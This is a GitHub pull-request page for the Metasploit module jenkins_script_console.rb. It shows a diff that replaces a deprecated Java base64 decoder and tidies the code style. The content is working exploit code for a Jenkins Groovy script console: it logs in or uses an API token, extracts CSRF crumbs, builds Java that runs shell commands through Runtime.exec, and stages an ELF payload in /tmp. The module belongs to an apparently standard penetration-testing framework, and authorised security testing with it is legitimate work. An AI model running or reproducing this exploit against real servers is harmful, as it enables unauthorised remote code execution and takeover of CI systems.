Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update jenkins_script_console.rb to remove deprecated sun.misc.BASE64Decoder class #16750

Merged
merged 5 commits into from Aug 31, 2022
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
220 changes: 114 additions & 106 deletions modules/exploits/multi/http/jenkins_script_console.rb
Expand Up @@ -10,57 +10,57 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins-CI Script-Console Java Execution',
'Description' => %q{
super(
update_info(
info,
'Name' => 'Jenkins-CI Script-Console Java Execution',
'Description' => %q{
This module uses the Jenkins-CI Groovy script console to execute
OS commands using Java.
},
'Author' =>
[
OS commands using Java.
},
'Author' => [
'Spencer McIntyre',
'jamcut',
'thesubtlety'
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'WfsDelay' => '10',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'WfsDelay' => '10'
},
'References' =>
[
'References' => [
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
],
'Platform' => %w{ win linux unix },
'Targets' =>
[
['Windows',
'Platform' => %w[win linux unix],
'Targets' => [
[
'Windows',
{
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win',
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
}
],
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x22" } }]
],
'DisclosureDate' => '2013-01-18',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'DisclosureDate' => '2013-01-18',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
},
))
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)

register_options(
[
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
])
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
]
)

self.needs_cleanup = true
end
Expand All @@ -72,75 +72,83 @@ def post_auth?
def check
uri = target_uri
uri.path = normalize_uri(uri.path)
uri.path << "/" if uri.path[-1, 1] != "/"
res = send_request_cgi({'uri' => "#{uri.path}login"})
if res and res.headers.include?('X-Jenkins')
uri.path << '/' if uri.path[-1, 1] != '/'
res = send_request_cgi({ 'uri' => "#{uri.path}login" })
if res && res.headers.include?('X-Jenkins')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def on_new_session(client)
if not @to_delete.nil?
def on_new_session(_client)
if !@to_delete.nil?
print_warning("Deleting #{@to_delete} payload file")
execute_command("rm #{@to_delete}")
end
end

def http_send_command(cmd, opts = {})
def http_send_command(cmd, _opts = {})
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'script'),
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'script'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
'vars_post' =>
{
'script' => java_craft_runtime_exec(cmd),
'Submit' => 'Run'
}
}
request_parameters['cookie'] = @cookie if @cookie != nil
request_parameters['cookie'] = @cookie if !@cookie.nil?
request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
res = send_request_cgi(request_parameters)
if not (res and res.code == 200)
if !(res && (res.code == 200))
fail_with(Failure::Unknown, 'Failed to execute the command.')
end
end

def java_craft_runtime_exec(cmd)
decoder = Rex::Text.rand_text_alpha(5, 8)
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
cmd_array = Rex::Text.rand_text_alpha(5, 8)
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"

jcode << "String [] #{cmd_array} = new String[3];\n"
vars = Rex::RandomIdentifier::Generator.new(
Rex::RandomIdentifier::Generator::JavaOpts
)
jcode = <<~JCODE
String #{vars[:encoded]} = "#{Rex::Text.encode_base64(cmd)}";
byte[] #{vars[:decoded]};
try {
#{vars[:decoded]} = Base64.getDecoder().decode(#{vars[:encoded]} );
} catch(groovy.lang.MissingPropertyException e) {
sun.misc.BASE64Decoder #{vars[:decoder]} = new sun.misc.BASE64Decoder();
#{vars[:decoded]} = #{vars[:decoder]}.decodeBuffer(#{vars[:encoded]} );
}
JCODE

jcode << "String[] #{vars[:cmd_array]} = new String[3];\n"
if target['Platform'] == 'win'
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
jcode << "#{cmd_array}[1] = \"/c\";\n"
jcode << "#{vars[:cmd_array]}[0] = \"cmd.exe\";\n"
jcode << "#{vars[:cmd_array]}[1] = \"/c\";\n"
else
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
jcode << "#{cmd_array}[1] = \"-c\";\n"
jcode << "#{vars[:cmd_array]}[0] = \"/bin/sh\";\n"
jcode << "#{vars[:cmd_array]}[1] = \"-c\";\n"
end
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
jcode << "#{vars[:cmd_array]}[2] = new String(#{vars[:decoded]}, \"UTF-8\");\n"
jcode << "Runtime.getRuntime().exec(#{vars[:cmd_array]});\n"
jcode
end

def execute_command(cmd, opts = {})
def execute_command(cmd, _opts = {})
vprint_status("Attempting to execute: #{cmd}")
http_send_command("#{cmd}")
http_send_command(cmd.to_s)
end

def linux_stager
cmds = "echo LINE | tee FILE"
cmds = 'echo LINE | tee FILE'
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))
base64.gsub!(/=/, '\\u003d')
file = rand_text_alphanumeric(rand(4..7))

execute_command("touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
cmds.gsub!(/FILE/, '/tmp/' + file + '.b64')
base64.each_line do |line|
line.chomp!
cmd = cmds
Expand All @@ -159,69 +167,69 @@ def linux_stager
def exploit
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
@uri.path << "/" if @uri.path[-1, 1] != "/"
@uri.path << '/' if @uri.path[-1, 1] != '/'
print_status('Checking access to the script console')
res = send_request_cgi({'uri' => "#{@uri.path}script"})
fail_with(Failure::Unknown, 'No Response received') if not res
res = send_request_cgi({ 'uri' => "#{@uri.path}script" })
fail_with(Failure::Unknown, 'No Response received') if !res

@cookie = nil
@crumb = nil
if res.code != 200
if !datastore['API_TOKEN'].empty?
print_status('Authenticating with token...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@uri.path, "crumbIssuer/api/json"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
})
if (res and res.code == 401)
fail_with(Failure::NoAccess, 'Login failed')
end
else
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
'vars_post' =>
{
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'Submit' => 'log in'
}
})

if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
fail_with(Failure::NoAccess, 'Login failed')
end
if res.get_cookies.split('JSESSIONID').count > 2
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[2].split('; ')[0]
else
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
end
@cookie = "#{sessionid}"

res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
end
if datastore['API_TOKEN'].present?
print_status('Authenticating with token...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@uri.path, 'crumbIssuer/api/json'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
})
if (res && (res.code == 401))
fail_with(Failure::NoAccess, 'Login failed')
end
else
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'j_acegi_security_check'),
'vars_post' =>
{
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'Submit' => 'log in'
}
})

if !(res && (res.code == 302)) || res.headers['Location'] =~ (/loginError/)
fail_with(Failure::NoAccess, 'Login failed')
end
if res.get_cookies.split('JSESSIONID').count > 2
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[2].split('; ')[0]
else
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
end
@cookie = sessionid.to_s

res = send_request_cgi({ 'uri' => "#{@uri.path}script", 'cookie' => @cookie })
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res && (res.code == 200)
end
else
print_status('No authentication required, skipping login...')
end

if res.body =~ /"\.crumb", "([a-z0-9]*)"/
print_status("Using CSRF token: '#{$1}' (.crumb style)")
@crumb = {:name => '.crumb', :value => $1}
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (.crumb style)")
@crumb = { name: '.crumb', value: Regexp.last_match(1) }
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style)")
@crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
end

case target['Platform']
when 'win'
print_status("#{rhost}:#{rport} - Sending command stager...")
execute_cmdstager({:linemax => 2049})
execute_cmdstager({ linemax: 2049 })
when 'unix'
print_status("#{rhost}:#{rport} - Sending payload...")
http_send_command("#{payload.encoded}")
http_send_command(payload.encoded.to_s)
when 'linux'
print_status("#{rhost}:#{rport} - Sending Linux stager...")
linux_stager
Expand Down